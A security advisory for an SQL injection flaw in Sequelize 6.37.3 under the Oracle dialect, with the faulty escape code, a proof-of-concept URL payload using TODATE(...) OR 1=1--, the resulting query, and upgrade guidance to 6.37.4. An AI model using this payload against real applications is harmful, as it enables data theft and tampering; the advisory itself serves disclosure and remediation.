GHSA-v8fg-2rw7-q452: SQL Injection
Summary SQL Injection is possible with strings only if dialect is set to oracle. The vulnerability was confirmed on Sequelize v6.37.3.
Details The escape function defined in sql-string.js does not escape quotes if the value starts with TOTIMESTAMP or TODATE.
javascript } else if (dialect === 'oracle' && typeof val === 'string') { if (val.startsWith('TOTIMESTAMP') || val.startsWith('TODATE')) { return val; } val = val.replace(/'/g, "''"); }
PoC Suppose the application has the following code:
javascript var result = await models.Student.findOne({ where: { firstName: req.query.firstName } });
An attacker can inject arbitrary sql expressions.
http://host/path?firstName=TODATE('0','Y')||'' OR 1=1--
The resulted SQL will be:
SQL SELECT ... WHERE "Student"."firstName" = TODATE('0','Y')||'' OR 1=1-- ORDER BY "Student"."id" OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY;
Impact Data theft and tampering.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/sequelizeto a version that resolves this vulnerability.Fixed in 6.37.4
Event History
Frequently Asked Questions
What is the severity of GHSA-v8fg-2rw7-q452?
The severity of GHSA-v8fg-2rw7-q452 is critical with a score of 9.8.
What type of vulnerability is GHSA-v8fg-2rw7-q452?
GHSA-v8fg-2rw7-q452 is an SQL Injection vulnerability.
How do I fix GHSA-v8fg-2rw7-q452?
To fix GHSA-v8fg-2rw7-q452, update Sequelize to version 6.37.4 or later.
What conditions trigger the vulnerability in GHSA-v8fg-2rw7-q452?
The vulnerability in GHSA-v8fg-2rw7-q452 is triggered when the dialect is set to 'oracle' and the `escape` function processes strings starting with `TO_TIMESTAMP` or `TO_DATE`.
In which version of Sequelize was GHSA-v8fg-2rw7-q452 confirmed?
GHSA-v8fg-2rw7-q452 was confirmed on Sequelize version 6.37.3.